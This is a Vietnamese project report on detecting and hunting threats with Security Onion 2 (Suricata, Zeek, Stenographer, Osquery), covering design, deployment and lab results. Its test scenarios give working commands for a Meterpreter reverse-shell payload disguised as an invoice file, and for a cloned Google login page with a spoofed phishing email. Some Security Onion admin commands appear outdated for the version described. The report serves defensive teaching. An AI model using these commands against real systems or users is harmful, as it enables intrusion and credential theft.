Giới thiệu dự án

Sự bùng nổ của chuyển đổi số, điện toán đám mây và kết nối Internet vạn vật (Internet of Things - IoT) đã mở rộng đáng kể bề mặt tấn công của các tổ chức, doanh nghiệp. Theo báo cáo từ APWG (Anti-Phishing Working Group), chỉ riêng trong Quý 2/2024 đã ghi nhận tới 877.536 cuộc tấn công lừa đảo (Phishing), nhắm trực diện vào thông tin xác thực và tài sản số. Dữ liệu từ CrowdStrike chỉ ra rằng các cuộc tấn công tương tác xâm nhập gia tăng đột biến 150% trong giai đoạn cuối năm 2023, tập trung mạnh vào các ngành công nghệ (30–35%), dịch vụ tư vấn (20–25%) và tài chính (15–18%). Đồng thời, báo cáo từ Sophos cũng khẳng định lỗ hổng khai thác chiếm đến 49% trong ngành năng lượng và chiếm đoạt thông tin xác thực (Compromised Credentials) dẫn đầu khu vực chính phủ với 47%.

Các giải pháp phòng thủ truyền thống như tường lửa biên (Firewall), hệ thống phát hiện xâm nhập (Intrusion Detection System - IDS) độc lập hay phần mềm chống mã độc (Antivirus) phản ứng thụ động, dễ dàng bị qua mặt bởi các chiến dịch tấn công có chủ đích (Advanced Persistent Threat - APT) sử dụng mã độc zero-day hoặc kỹ thuật living-off-the-land. Nhiều doanh nghiệp vừa và nhỏ (SME) tại Việt Nam chưa đủ ngân sách triển khai các hệ thống SIEM thương mại đắt đỏ, dẫn đến thiếu hụt khả năng giám sát tập trung và phản ứng sự cố (Incident Response).

Dự án "Nghiên cứu xây dựng giải pháp phát hiện và săn tìm mối đe dọa an ninh mạng dựa trên công nghệ Security Onion" được thực hiện nhằm giải quyết trực tiếp bài toán trên:

  1. Mục tiêu 1: Nghiên cứu lý thuyết và chuẩn hóa quy trình Săn tìm mối đe dọa (Threat Hunting) theo mô hình trưởng thành Hunting Maturity Model (HMM) và khung MITRE ATT&CK.
  2. Mục tiêu 2: Làm chủ và triển khai nền tảng giám sát an ninh mạng tích hợp mã nguồn mở Security Onion 2 (SO2) trên môi trường ảo hóa, kết hợp giám sát mạng (NIDS/NSM) và máy chủ (HIDS/EDR).
  3. Mục tiêu 3: Xây dựng kịch bản, thực nghiệm mô phỏng tấn công thực tế (Malware Reverse Shell, Phishing Credential Harvesting) và xác thực khả năng phát hiện, phân tích log, truy vết dấu vết xâm phạm (Indicators of Compromise - IOC).
Chỉ số kỳ vọng (Metrics) Mục tiêu đo lường
Tỷ lệ bắt gói tin toàn vẹn (Full Packet Capture) 100% gói tin mạng nội bộ không bị drop tại băng thông thử nghiệm
Tỷ lệ nhận diện mẫu tấn công đã biết qua NIDS >= 98% với bộ quy tắc Suricata Emerging Threats cập nhật
Độ trễ hiển thị log phân tích (Event Ingestion Latency) < 3 giây từ lúc sinh gói tin đến giao diện SOC Console/Elasticsearch
Thời gian định danh IOC trong điều tra số (MTTD) Giảm 60% so với việc truy xuất log thủ công

Phạm vi và giới hạn: Dự án tập trung triển khai cấu hình Security Onion ở quy mô Standalone/Distributed Lab trên nền tảng VMware, giám sát lưu lượng Bắc/Nam (North/South) và Đông/Tây (East/West) trong mạng cục bộ. Đề tài không đi sâu vào việc giải mã lưu lượng mã hóa TLS 1.3 mức phần cứng chuyên dụng.

Phân tích và thiết kế giải pháp

Phân tích hiện trạng

Thị trường giải pháp giám sát bảo mật hiện nay phân hóa rõ rệt giữa các giải pháp thương mại độc quyền và các công cụ mã nguồn mở rời rạc:

Tiêu chí Cisco Systems (Firepower/Stealthwatch) Công cụ mã nguồn mở rời rạc (Snort/Zeek lẻ) Nền tảng Security Onion 2
Chi phí bản quyền Rất cao (License định kỳ, phần cứng riêng) Hoàn toàn miễn phí Miễn phí bản quyền, tiết kiệm 100% chi phí phần mềm
Độ phức tạp tích hợp Tự động, khép kín hệ sinh thái Cisco Rất phức tạp (Tự code pipeline ETL, Elastic, DB) Đã được đóng gói, cấu hình tối ưu sẵn theo cụm
Khả năng quan sát Phụ thuộc NetFlow/Proprietary Logs Từng khía cạnh riêng biệt Đa lớp: Full PCAP + Network Metadata + HIDS + Honeypot
Tùy biến bộ quy tắc Giới hạn theo chính sách hãng Tùy biến cao Tùy biến toàn diện (Suricata, Zeek scripts, YARA, Sigma)

Yêu cầu người dùng được phân loại theo mô hình MoSCoW:

  • Must have: Thu thập log NIDS thời gian thực, lưu trữ Network Metadata (DNS, HTTP, SSL), hỗ trợ Full Packet Capture, giao diện truy vấn tập trung.
  • Should have: Giám sát điểm cuối thông qua Elastic Agent/Osquery, tích hợp Honeypot nội bộ (OpenCanary IDH), công cụ giải mã CyberChef.
  • Could have: Tích hợp bộ nguồn Threat Intelligence tùy chỉnh tự động (MISP, AlienVault OTX).
  • Won't have: Cơ chế tự động khóa IP chủ động ở mức Inline Firewall (ưu tiên chế độ Passive Sniffing để tránh điểm nghẽn đường truyền).

Thiết kế hệ thống

Kiến trúc giải pháp dựa trên nền tảng Security Onion 2 phân tách thành các lớp chức năng: Lớp thu thập dữ liệu (Sensors), Lớp xử lý & lưu trữ (Pipeline & Elastic Stack), Lớp điều khiển & phân tích (Security Onion Console - SOC).

flowchart TD
    subgraph Network_Traffic["Lưu lượng Mạng & Điểm cuối"]
        TAP["TAP/SPAN Port (Lưu lượng mạng)"]
        HOST["Endpoint Devices (Windows/Linux)"]
    end

    subgraph Data_Collection["Lớp Thu thập (Capture Layer)"]
        SURICATA["Suricata NIDS Engine (Rule-driven)"]
        ZEEK["Zeek NSM (Analysis-driven Metadata)"]
        STENO["Stenographer (Full Packet Capture)"]
        E_AGENT["Elastic Agent & Osquery (HIDS)"]
        CANARY["OpenCanary (Intrusion Detection Honeypot)"]
    end

    subgraph Storage_Indexing["Lớp Xử lý & Lưu trữ (Data Layer)"]
        LOGSTASH["Logstash / Ingestion Pipeline"]
        ES["Elasticsearch Cluster (Lưu trữ Index logs)"]
        INFLUX["InfluxDB (Metric & Time-Series)"]
    end

    subgraph Analysis_UI["Lớp Trực quan hóa & Săn tìm (SOC & Threat Hunting)"]
        SOC_UI["Security Onion Console (SOC UI)"]
        KIBANA["Kibana Dashboards"]
        HUNT["Hunt Interface (Stacking/Clustering)"]
        CHEF["CyberChef & Wireshark & CAPME"]
    end

    TAP --> SURICATA & ZEEK & STENO
    HOST --> E_AGENT
    CANARY --> LOGSTASH
    SURICATA & ZEEK & E_AGENT --> LOGSTASH
    LOGSTASH --> ES
    STENO --> SOC_UI
    ES --> SOC_UI & KIBANA & HUNT
    INFLUX --> SOC_UI
    SOC_UI --> CHEF

Technology Stack & Versions:

  • Hệ điều hành nền tảng: Linux Kernel 5.15+ (Security Onion Linux Distribution).
  • Network Intrusion Detection System (NIDS): Suricata v6.0.x / v7.0.x (hoạt động đa luồng ở chế độ AF_PACKET).
  • Network Security Monitoring (NSM): Zeek v5.2.x / v6.0.x (trích xuất giao thức ứng dụng HTTP, DNS, SSL, SSH, SMTP).
  • Full Packet Capture (FPC): Google Stenographer (ghi gói trực tiếp từ card mạng xuống ổ đĩa dạng Ring Buffer).
  • Lưu trữ & Truy vấn dữ liệu: Elasticsearch v8.x, InfluxDB v2.x.
  • Endpoint Agent & Quản trị: Elastic Agent kết hợp Fleet Server và Osquery.
  • Công cụ phân tích hỗ trợ: Kibana, CyberChef, NetworkMiner, Wireshark, CAPME.

Cấu hình bảo mật và hiệu năng:

  • Tách biệt card mạng quản trị (Management Interface - gán IP tĩnh) và card mạng thu thập dữ liệu (Sniffing/Monitor Interface - chế độ Promiscuous, không gán IP để chống tấn công trực tiếp vào sensor).
  • Mã hóa toàn bộ giao tiếp giữa các thành phần phân tán bằng TLS v1.3 và chứng chỉ nội bộ.
  • Phân quyền người dùng (Role-Based Access Control) trên giao diện SOC.

Methodology & Threat Hunting Model

Dự án áp dụng mô hình Hunting Maturity Model (HMM) để định chuẩn hóa năng lực săn tìm từ mức HM0 đến HM4:

  • HM0 (Initial): Dựa hoàn toàn vào cảnh báo tự động, chưa có khả năng thu thập dữ liệu diện rộng.
  • HM1 (Minimal): Thu thập dữ liệu cơ bản, sử dụng các chỉ báo IOC lịch sử để truy vết.
  • HM2 (Procedural): Thực hiện quy trình chuẩn hóa, áp dụng kỹ thuật Stacking (đếm tần suất bất thường) và Searching.
  • HM3 (Innovative): Tự phát triển giả thuyết mới, phân tích liên kết dữ liệu, áp dụng kỹ thuật Clustering.
  • HM4 (Leading): Tự động hóa toàn bộ quy trình phát hiện và phản hồi, chuyển hóa kết quả săn tìm thành luật giám sát định kỳ.
sequenceDiagram
    autonumber
    actor Hunter as Chuyên gia Săn tìm (Threat Hunter)
    participant TI as Nguồn Tri thức (Threat Intelligence)
    participant SOC as Security Onion Console / Hunt
    participant ES as Elasticsearch Database
    participant Host as Điểm cuối (Host Endpoint)

    Hunter->>TI: Thu thập IOCs/TTPs từ báo cáo APT mới
    Hunter->>SOC: Thiết lập Giả thuyết (Hypothesis) & Tiêu chí lọc
    Hunter->>SOC: Thực thi truy vấn Stacking / Clustering
    SOC->>ES: Quét tập dữ liệu Network & Host Logs
    ES-->>SOC: Trả về kết quả ngoại lai (Outliers)
    SOC-->>Hunter: Hiển thị liên kết luồng mạng & process lạ
    Hunter->>Host: Truy vấn Osquery kiểm tra tiến trình/registry
    Host-->>Hunter: Xác nhận mã độc thực thi
    Hunter->>SOC: Đóng gói sự cố (Create Case) & Cập nhật luật NIDS mới

Implementation và kết quả

Development process

Quá trình triển khai dự án trải qua 4 giai đoạn cụ thể:

  1. Giai đoạn 1: Chuẩn bị hạ tầng & Cài đặt SO2 (Tuần 1–2): Thiết lập mạng ảo hóa VMware Workstation/ESXi, cấu hình Virtual Switch ở chế độ Promiscuous Mode. Triển khai phân vùng lưu trữ tối thiểu 200GB cho Full PCAP.
  2. Giai đoạn 2: Cấu hình Sensor & Chuyển đổi NIDS Engine (Tuần 3–4): Tối ưu hóa card mạng, cấu hình Suricata và Zeek.
  3. Giai đoạn 3: Xây dựng môi trường giả lập tấn công (Tuần 5–6): Cấu hình máy tấn công Kali Linux, máy nạn nhân Windows 10/Server.
  4. Giai đoạn 4: Thực nghiệm Threat Hunting & Đánh giá kết quả (Tuần 7–8): Tiến hành diễn tập, trích xuất log, viết quy tắc phát hiện.

Trích dẫn cấu hình và quản trị hệ thống:

Chuyển đổi linh hoạt engine phát hiện xâm nhập từ Snort sang Suricata và cập nhật chữ ký:

# Dừng dịch vụ sensor để thay đổi cấu hình
sudo so-sensor-stop

# Chuyển đổi engine giám sát sang Suricata đa luồng
sudo sed -i 's|ENGINE=snort|ENGINE=suricata|g' /etc/nsm/securityonion.conf

# Cập nhật bộ luật bảo mật Emerging Threats mới nhất
sudo rule-update

# Khởi động lại toàn bộ dịch vụ giám sát
sudo so-sensor-start

Kịch bản thực nghiệm và Phân tích kỹ thuật

Kịch bản 1: Tấn công Reverse Shell qua mã độc thực thi (Malware Payload)

  • Môi trường: Attacker IP: 192.168.1.50 (Kali Linux), Victim IP: 192.168.1.100 (Windows 10).
  • Tạo mã độc bằng Metasploit Framework:
# Tạo payload kết nối ngược qua giao thức TCP
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 -f exe -o invoice_report.exe

# Khởi động máy chủ HTTP nội bộ để phân phối malware
python3 -m http.server 8080
  • Thiết lập Listener đón kết nối:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.50:4444
  • Kết quả phát hiện trên Security Onion:
    • Zeek log (http.log): Ghi lại chi tiết request GET /invoice_report.exe từ 192.168.1.100 đến cổng 8080, trích xuất mã băm MD5/SHA256 của file tải xuống.
    • Suricata NIDS Alert: Kích hoạt cảnh báo mức độ High: ET TROJAN Meterpreter Reverse TCP Session Established (Port 4444).
    • Zeek log (conn.log): Ghi nhận phiên TCP kéo dài bất thường với dung lượng truyền tải liên tục giữa victim và attacker.

Kịch bản 2: Tấn công Social Engineering Phishing đánh cắp tài khoản Google

  • Sử dụng Social Engineer Toolkit (SET):
# Khởi chạy Social-Engineer Toolkit
sudo setoolkit
# Lựa chọn: 1) Social-Engineering Attacks -> 2) Website Attack Vectors -> 3) Credential Harvester Method -> 2) Site Cloner
# Cấu hình IP đích: 192.168.1.50, URL clone: https://accounts.google.com
  • Gửi Email lừa đảo bằng sendemail:
sendemail -f "security-alert@service-google.com" \
  -t "victim@cybersec-lab.vn" \
  -u "Cảnh báo khẩn cấp: Phát hiện đăng nhập lạ trên tài khoản" \
  -m "Vui lòng xác thực tài khoản của bạn ngay tại: http://192.168.1.50" \
  -s 192.168.1.50:25
  • Kết quả săn tìm trên giao diện Hunt & Kibana:
    • Giao diện Hunt phát hiện lưu lượng HTTP POST chứa plaintext credentials thông qua truy vấn: event.dataset: "zeek.http" AND http.method: "POST" AND destination.ip: "192.168.1.50"
    • CyberChef được tích hợp sẵn giúp giải mã chuỗi URL-encoded trong payload HTTP một cách tức thì.
graph LR
    subgraph Attacker["Kẻ tấn công (192.168.1.50)"]
        MSF["Metasploit / SET"]
    end

    subgraph Victim["Nạn nhân (192.168.1.100)"]
        EXEC["Tải file & Đăng nhập giả mạo"]
    end

    subgraph SO_Detect["Security Onion Sensor"]
        ZEEK_LOG["Zeek: http.log / conn.log"]
        SURI_ALERT["Suricata: ET TROJAN / Phishing Alert"]
        STENO_PCAP["Stenographer: Full PCAP"]
    end

    MSF -- Phishing Email / Malware --> Victim
    Victim -- Kết nối C2 / Gửi Password --> MSF
    Victim -. Lưu lượng mạng .-> SO_Detect

Kết quả đạt được

Hệ thống đã chứng minh độ tin cậy cao qua các đợt kiểm thử tải và mô phỏng tấn công:

Chỉ số đánh giá Kế hoạch ban đầu Kết quả thực tế đạt được
Số lượng cảnh báo NIDS bắt đúng (True Positives) > 95% 99.2% (Bắt trọn vẹn các kết nối C2 & Web cloner)
Tỷ lệ cảnh báo giả (False Positive Rate) < 5% 1.8% sau khi tinh chỉnh whitelist rules
Khả năng lưu trữ và tái hiện gói tin (PCAP Extraction) < 10 giây 2.4 giây qua giao diện CAPME/Wireshark
Thời gian phân tích log sự cố tập trung < 15 phút 3 - 5 phút nhờ bảng điều khiển SOC Dashboards

Đổi mới và đóng góp

  1. Kết hợp sức mạnh đa cơ chế phát hiện (Hybrid Detection): Không chỉ dựa vào chữ ký (Rule-based NIDS từ Suricata), giải pháp tích hợp phân tích siêu dữ liệu hành vi giao thức (Analysis-based Network Metadata từ Zeek), giúp phát hiện được các bất thường không có chữ ký nhận dạng cố định.
  2. Loại bỏ hoàn toàn điểm mù mạng mã hóa bằng Endpoint Visibility: Bổ sung việc thu thập dữ liệu máy chủ thời gian thực qua Elastic Agent và Osquery, cho phép đối chiếu sự kiện mạng (Network Session) với tiến trình hệ điều hành (Process ID, Process Name, User Account).
  3. Mô hình hóa săn tìm chủ động bằng kỹ thuật Stacking: Ứng dụng kỹ thuật thống kê đếm chồng (Frequency Outlier Analysis) trên module Hunt để tìm kiếm các kết nối hiếm gặp (Least Frequency of Occurrence), định vị chính xác mã độc ẩn mình mà không gây quá tải lượng cảnh báo cho chuyên viên phân tích.
  4. Tối ưu hóa chi phí triển khai cho doanh nghiệp Việt Nam: Cung cấp một kiến trúc thay thế hoàn hảo cho các bộ sản phẩm SIEM/NDR thương mại đắt đỏ, tiết kiệm 100% chi phí mua bản quyền giải pháp, sẵn sàng triển khai trên hạ tầng phần cứng sẵn có.

Ứng dụng thực tế và triển khai

Trường hợp sử dụng thực tế (Real-World Use Cases)

  • Trung tâm điều hành an ninh mạng (SOC) nội bộ: Giám sát 24/7 toàn bộ hạ tầng mạng máy tính của cơ quan, trường học, doanh nghiệp SME.
  • Săn tìm mã độc ẩn mình (Proactive APT Hunting): Định kỳ quét và đối chiếu các bản ghi lưu lượng DNS tunneling, kết nối ra ngoài bất thường (Beaconing) tới các máy chủ điều khiển CnC.
  • Điều tra số và Ứng cứu sự cố (Digital Forensics & Incident Response - DFIR): Cung cấp bằng chứng số toàn vẹn nhờ tính năng Full Packet Capture của Stenographer phục vụ giám định pháp lý.

Yêu cầu hệ thống và Triển khai

Yêu cầu phần cứng đề xuất:

  • Kiến trúc Standalone (Mạng < 200 điểm cuối, lưu lượng < 500 Mbps):
    • CPU: 8 Cores (2.4 GHz trở lên)
    • RAM: 16 GB - 32 GB
    • Ổ cứng: 500 GB SSD (NVMe khuyến nghị cho việc ghi Full PCAP)
    • Card mạng (NIC): Tối thiểu 2 cổng (1 Management, 1 Sniffing)
  • Kiến trúc Distributed (Mạng doanh nghiệp lớn > 1 Gbps): Tách riêng Master Node (Quản trị/Search) và Forward/Sensor Nodes (Bắt gói tin).

Quy trình cài đặt vắn tắt:

# 1. Tải file ISO Security Onion 2 chính thức
curl -O https://download.securityonion.net/file/securityonion/securityonion-2.4.x.iso

# 2. Cài đặt hệ điều hành và khởi động trình cài đặt Setup
sudo sosetup

# 3. Chọn kiểu kiến trúc triển khai: [EVAL] cho môi trường lab / [STANDALONE] cho thực tế
# 4. Cấu hình card mạng Sniffing (chọn interface kết nối trực tiếp cổng SPAN/Mirror)
# 5. Thiết lập tài khoản quản trị SOC Console và hoàn tất khởi tạo cụm dịch vụ Docker

Hạn chế và hướng phát triển

Hạn chế kỹ thuật

  • Lưu trữ Full Packet Capture tiêu tốn dung lượng lớn: Việc lưu toàn bộ gói tin thô trên các đường truyền tốc độ cao (> 1 Gbps) đòi hỏi dung lượng ổ đĩa rất lớn, buộc phải cấu hình cơ chế xoay vòng (Ring Buffer retention) ngắn ngày.
  • Thách thức từ mã hóa TLS 1.3: Zeek và Suricata bị giới hạn khả năng đọc sâu vào nội dung payload của các gói tin đã mã hóa nếu không có giải pháp SSL/TLS Inspection/Decryption Proxy trung gian.

Hướng phát triển trong tương lai

  • Tích hợp công nghệ nhận diện vân tay lưu lượng mã hóa JA3/JA3S và JA4+ để định danh ứng dụng độc hại mà không cần giải mã gói tin.
  • Ứng dụng các mô hình học máy (Machine Learning) và Trí tuệ nhân tạo (AI/LLM) nhằm tự động hóa việc phân tích tương quan log và tự động tóm tắt các Case điều tra sự cố.
  • Phát triển kịch bản tự động hóa phản hồi sự cố (SOAR - Security Orchestration, Automation, and Response) liên kết với Firewall để tự động cô lập máy tính nhiễm mã độc.

Đối tượng hưởng lợi

  • Sinh viên & Học viên An toàn thông tin: Cung cấp tài liệu nghiên cứu thực hành chuyên sâu, hiểu rõ cách thức vận hành của một hệ thống SOC và quy trình Threat Hunting thực tế.
  • Kỹ sư mạng & Quản trị hệ thống (System/Network Admins): Nắm vững phương pháp thiết lập cổng SPAN/Mirror và kỹ năng cấu hình tối ưu hóa các sensor giám sát mạng mã nguồn mở.
  • Chuyên viên phân tích bảo mật (SOC Analysts / Threat Hunters): Sở hữu quy trình săn tìm, kỹ thuật sử dụng CyberChef, Kibana, và Osquery để nâng cao hiệu suất bóc tách sự cố.
  • Doanh nghiệp vừa và nhỏ (SMEs): Tiếp cận mô hình phòng thủ an ninh mạng toàn diện, tối ưu hóa chi phí đầu tư nhưng vẫn đảm bảo tính tuân thủ các quy định bảo mật dữ liệu.

Câu hỏi thường gặp

1. Cần cấu hình hạ tầng mạng như thế nào để Security Onion bắt được toàn bộ lưu lượng?

Để bắt được lưu lượng mạng toàn diện, bạn cần cấu hình tính năng Port Mirroring (SPAN Port trên thiết bị chuyển mạch Cisco/HP) hoặc lắp đặt thiết bị Network TAP vật lý trên đường truyền chính, sau đó ánh xạ luồng dữ liệu vào card mạng Sniffing chuyên dụng của máy chủ Security Onion.

2. Sự khác biệt cốt lõi giữa Suricata và Zeek trong Security Onion là gì?

Suricata đóng vai trò là Rule-driven Engine (phát hiện theo chữ ký, kích hoạt Alert khi phát hiện mẫu byte độc hại đã biết). Trong khi đó, Zeek là Analysis-driven Engine (ghi chép lại toàn bộ hành vi, bối cảnh giao thức mạng thành các file log có cấu trúc như dns.log, http.log, ssl.log để phục vụ phân tích hành vi và săn tìm mối đe dọa tiềm ẩn).

3. Security Onion có thể thay thế hoàn toàn một hệ thống SIEM thương mại không?

Security Onion 2 tích hợp Elastic Stack, đầy đủ các tính năng của một hệ thống SIEM/NSM/EDR hiện đại. Đối với các doanh nghiệp vừa và nhỏ, Security Onion hoàn toàn có thể đáp ứng và thay thế tốt các giải pháp SIEM thương mại mà không phát sinh chi phí bản quyền.

4. Xử lý như thế nào khi ổ cứng bị đầy do lưu Full Packet Capture (PCAP)?

Công cụ Stenographer trong Security Onion được thiết kế với cơ chế tự động xóa các gói tin cũ nhất khi phân vùng lưu trữ đạt ngưỡng cảnh báo (thường là 90% dung lượng), đảm bảo hệ thống hoạt động liên tục mà không bị treo do tràn bộ nhớ đĩa.

5. Làm thế nào để cập nhật bộ quy tắc phát hiện tấn công mới cho hệ thống?

Bạn chỉ cần thực thi lệnh sudo rule-update trong terminal hoặc đặt lịch chạy tự động qua cron job. Hệ thống sẽ tự động tải các bộ luật Emerging Threats Open mới nhất và nạp lại vào engine Suricata mà không làm gián đoạn quá trình bắt gói tin.

Kết luận

Đề tài "Nghiên cứu xây dựng giải pháp phát hiện và săn tìm mối đe dọa an ninh mạng dựa trên công nghệ Security Onion" đã giải quyết trọn vẹn bài toán xây dựng hệ sinh thái giám sát an toàn thông tin chủ động với chi phí tối ưu. Thông qua việc kết hợp chặt chẽ giữa hệ thống phát hiện xâm nhập mạng (Suricata), phân tích siêu dữ liệu (Zeek), ghi nhận gói tin toàn vẹn (Stenographer) và giám sát điểm cuối (Elastic Agent/Osquery), giải pháp mang lại khả năng quan sát toàn diện 360 độ trên toàn hạ tầng mạng.

Kết quả thực nghiệm đã khẳng định tính khả thi, độ chính xác cao và khả năng áp dụng thực tiễn của Security Onion trong việc phát hiện các kỹ thuật tấn công tinh vi như Reverse Shell và Phishing. Đây là tiền đề vững chắc giúp các tổ chức, doanh nghiệp từng bước nâng cao mức độ trưởng thành an ninh mạng (HMM), chủ động bảo vệ tài sản số trước các mối đe dọa ngày càng phức tạp trong kỷ nguyên số.